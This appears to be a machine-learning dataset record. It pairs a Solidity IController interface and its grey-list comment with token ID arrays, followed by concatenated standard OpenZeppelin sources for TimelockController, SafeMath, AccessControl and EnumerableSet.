-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0x009f95073E1755834Bc1BE9E4989eA0696b7c48D/sources/contracts/Interfaces/IController.sol
|
[Grey list] An EOA can safely interact with the system no matter what. If you're using Metamask, you're using an EOA. Only smart contracts may be affected by this grey list. This contract will not be able to ban any EOA from the system even if an EOA is being added to the greyList, he/she will still be able to interact with the whole system as if nothing happened. Only smart contracts will be affected by being added to the greyList. This grey list is only used in Vault.sol, see the code there for reference
|
interface IController {
function addVaultAndStrategy(
address _vault,
address _strategy,
uint256 dFeesNumerator,
uint256 dFeesDenominator
) external;
function startSaving(
address _vault,
uint256 hint,
uint256 devianceNumerator,
uint256 devianceDenominator
) external;
function hasVault(address _vault) external returns (bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(
address _strategy,
address _token,
uint256 amount
) external;
}
| 1,908,159 |
[
1,
63,
43,
266,
93,
666,
65,
1922,
512,
28202,
848,
15303,
16592,
598,
326,
2619,
1158,
15177,
4121,
18,
971,
1846,
4565,
1450,
21604,
301,
835,
16,
1846,
4565,
1450,
392,
512,
28202,
18,
5098,
13706,
20092,
2026,
506,
9844,
635,
333,
5174,
93,
666,
18,
1220,
6835,
903,
486,
506,
7752,
358,
25732,
1281,
512,
28202,
628,
326,
2619,
5456,
309,
392,
512,
28202,
353,
3832,
3096,
358,
326,
5174,
93,
682,
16,
3904,
19,
87,
580,
903,
4859,
506,
7752,
358,
16592,
598,
326,
7339,
2619,
487,
309,
5083,
17497,
18,
5098,
13706,
20092,
903,
506,
9844,
635,
3832,
3096,
358,
326,
5174,
93,
682,
18,
1220,
5174,
93,
666,
353,
1338,
1399,
316,
17329,
18,
18281,
16,
2621,
326,
981,
1915,
364,
2114,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
2933,
288,
203,
203,
565,
445,
527,
12003,
1876,
4525,
12,
203,
3639,
1758,
389,
26983,
16,
203,
3639,
1758,
389,
14914,
16,
203,
3639,
2254,
5034,
302,
2954,
281,
2578,
7385,
16,
203,
3639,
2254,
5034,
302,
2954,
281,
8517,
26721,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
787,
24660,
12,
203,
3639,
1758,
389,
26983,
16,
203,
3639,
2254,
5034,
7380,
16,
203,
3639,
2254,
5034,
27492,
1359,
2578,
7385,
16,
203,
3639,
2254,
5034,
27492,
1359,
8517,
26721,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
711,
12003,
12,
2867,
389,
26983,
13,
3903,
1135,
261,
6430,
1769,
203,
203,
565,
445,
12814,
90,
410,
12,
2867,
389,
2316,
16,
2254,
5034,
3844,
13,
3903,
31,
203,
203,
565,
445,
12814,
90,
410,
4525,
12,
203,
3639,
1758,
389,
14914,
16,
203,
3639,
1758,
389,
2316,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3903,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockController is AccessControl {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
constructor(uint256 minDelay, address[] memory proposers, address[] memory executors) public {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRole(bytes32 role) {
require(hasRole(role, _msgSender()) || hasRole(role, address(0)), "TimelockController: sender requires permission");
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
// solhint-disable-next-line not-rely-on-time
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
// solhint-disable-next-line not-rely-on-time
_timestamps[id] = SafeMath.add(block.timestamp, delay);
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 predecessor) private view {
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(bytes32 id, uint256 index, address target, uint256 value, bytes calldata data) private {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
